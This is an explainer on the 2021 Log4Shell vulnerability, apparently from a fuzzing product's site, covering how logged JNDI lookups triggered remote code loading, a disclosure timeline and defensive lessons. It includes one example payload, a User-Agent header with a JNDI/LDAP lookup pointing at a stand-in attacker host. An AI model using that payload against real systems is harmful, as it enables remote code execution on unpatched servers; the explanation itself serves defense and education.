What happened
In December 2021 the world learned that Log4j, a logging library sitting inside a huge share of Java software, would execute attacker code on command. Logging is supposed to be the safe, boring part of an app. This made it the front door.
The catch was that Log4j did more than write text. If a logged string contained a special lookup, Log4j would act on it, including reaching out to a server the attacker controlled and loading code from it.
How a log line ran code
Apps log all kinds of user input: usernames, headers, search terms. If any of that reached Log4j and contained a JNDI lookup, Log4j followed it. The lookup pointed at the attacker's server, which answered with a malicious Java class, and the app ran it.
So the attacker did not need to break in. They just needed to get a string logged. A username field, a User-Agent header, a chat message. Anything that ended up in a log was a way in.
User-Agent: ${jndi:ldap://attacker.example/x}
// Log4j sees the lookup, contacts attacker.example,
// downloads a Java class, and executes it.Why it spread to everything
Log4j is a dependency of a dependency of a dependency. Most teams had it without knowing, buried under frameworks they did not write. There was no single product to patch, just a flaw hiding all over the stack.
Because the trigger was so simple, mass scanning started within hours of disclosure. Defenders were not racing a future exploit. They were racing one that was already hitting them.
How it unfolded
- Nov 24, 2021The flaw is privately reported to the Apache Log4j team.
- Dec 9, 2021Details and a working exploit go public. Mass exploitation begins.
- Dec 10, 2021A patch ships, but every affected app has to find and update its own copy.
- Dec 2021Follow-up CVEs and bypasses keep teams patching for weeks.
Where buggy.run fitsLog4Shell hid in ordinary input that happened to reach a log. You only see it by sending the inputs your app accepts and watching what your services do next.
buggy.run fuzzes the inputs your app actually exposes and captures the traffic that follows, so a request that makes your server reach out to somewhere it should not is exactly the kind of thing it surfaces.
What to take away
- Keep a real inventory of your dependencies, including the ones you inherited.
- Patch fast when a core library is hit, and assume you were probed before you finished.
- Do not trust input just because it is only being logged. Logs are code paths too.
- Restrict outbound network access from your servers so a single request cannot pull code in.
